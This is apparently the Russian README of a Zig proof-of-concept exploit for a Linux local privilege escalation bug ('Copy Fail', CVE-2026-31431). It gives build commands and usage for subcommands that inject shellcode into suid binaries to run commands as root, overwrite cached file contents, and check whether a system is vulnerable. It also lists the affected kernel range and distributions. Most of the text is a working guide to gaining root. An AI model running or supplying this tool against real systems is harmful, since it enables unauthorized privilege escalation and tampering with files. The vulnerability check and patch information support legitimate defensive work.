
Реализация Zig для Linux LPE Copy Fail (CVE-2026-31431), предоставляющая автономный бинарный файл для эксплуатации уязвимости в целях исследования безопасности и защитного обнаружения, включая внедрение шеллкода и проверки уязвимости системы.
Реализация на Zig 732-байтового proof of concept для Linux LPE Copy Fail (CVE-2026-31431), раскрытого Theori / Xint 29 апреля 2026 года. Описание можно найти на copy.fail.
Эта реализация не имеет зависимостей времени выполнения и может запускаться как автономный бинарный файл.
Для сборки эксплойта требуется версия zig 0.16.0 или выше, которую можно установить с ziglang.org. Чтобы собрать эксплойт, выполните следующую команду в терминале:
zig build
При желании его можно кросс-скомпилировать для другой целевой платформы например
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
или с несжатыми полезными нагрузками
zig build -Dcompress=false
либо запустите скомпилированный бинарный файл, либо используйте zig для его запуска
zig-out/bin/copyfail
ИЛИ
zig build run
$ zig-out/bin/copyfail
Использование:
run <путь> <данные> [смещение] [-- аргументы...] - Записать данные в исполняемый файл по указанному смещению (по умолчанию 0) и запустить его
sudo <путь_suid> [команда...] - Выполняет команду от имени root, записывая шеллкод в suid-бинарный файл.
(первый аргумент команды должен быть полным путём к запускаемой программе)
modify <путь> <данные> [смещение] - Записать данные в файл по указанному смещению (по умолчанию 0)
reset <путь> - Сбросить файл в исходное состояние
help - Показать это сообщение
Исполняемый файл можно запускать с разными командами:
run
сначала записывает предоставленные данные по указанному смещению (по умолчанию 0) в исполняемый файл по указанному пути, затем запускает его.
После завершения выполнения файл сбрасывается в исходное состояние с помощью posix_fadvise.
Пример:
copyfail run /путь/к/exe $(cat shellcode_bin) -- /bin/sh
sudo
записывает встроенный шеллкод в suid-бинарный файл и выполняет его для запуска команды от имени root.
Исходный код шеллкода можно найти в payloads/sudo.zig.
Первый аргумент команды должен быть полным путём к программе, так как шеллкод не ищет программу для запуска.
После завершения выполнения файл сбрасывается, как в команде run.
Пример:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
записывает предоставленные данные по указанному смещению (по умолчанию 0) в файл по указанному пути, без его выполнения.
После изменения файл НЕ сбрасывается. Используйте команду reset для его сброса.
Пример:
copyfail modify /путь/к/файлу "Моё новое содержимое" 1337
reset
сбрасывает файл по указанному пути в исходное состояние с помощью posix_fadvise. Это отбрасывает кэшированную страницу и при следующем обращении содержимое будет прочитано с диска.
Пример:
copyfail reset /путь/к/файлу
is_vulnerable
проверяет, уязвима ли система, создавая временный файл, записывая в него тестовые данные и считывая их обратно, чтобы увидеть, не были ли данные повреждены.
Пример:
$ copyfail is_vulnerable
warning: Система уязвима
ИЛИ
info: Система не уязвима
help
выводит сообщение об использовании.
нижняя граница: torvalds/linux 72548b093ee3 август 2017, v4.14
(переработка iov_iter в AF_ALG,
которая ввела примитив записи
в файловую страницу через splice
в scatterlist AEAD)
верхняя граница: torvalds/linux a664bf3d603d апрель 2026, mainline
(отменяет оптимизацию algif_aead
на месте от 2017 года; разделяет
исходный и целевой scatterlist,
так что страницы page-cache больше
не могут быть доступным для записи
криптографическим целевым объектом)
Между ними: все ядра основных дистрибутивов, которые не перенесли исправление.
Ubuntu, RHEL, SUSE, Amazon Linux и Debian были подтверждены как уязвимые
в своих стандартных ядрах для облачных образов на момент раскрытия. Бэкпорты
на уровне дистрибутивов начали выходить примерно 2026-04-29 вместе с публичным
раскрытием. Чтобы проверить, попадает ли целевое ядро в окно уязвимости, проверьте,
присутствует ли a664bf3d603d (или его бэкпорт для конкретного дистрибутива)
в git-логе ядра или в журнале изменений дистрибутива.
Обнаружение и первоначальное раскрытие CVE-2026-31431: Theori / Xint. Публичное описание на copy.fail.
Эта реализация на Zig: Emmmmllll [email protected]
Компилятор Zig и стандартная библиотека: Zig Software Foundation на условиях MIT https://codeberg.org/ziglang/zig.
Эксплойт и полезная нагрузка опубликованы для целей исследования безопасности и защитного обнаружения. Использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, — ваша проблема, а не автора.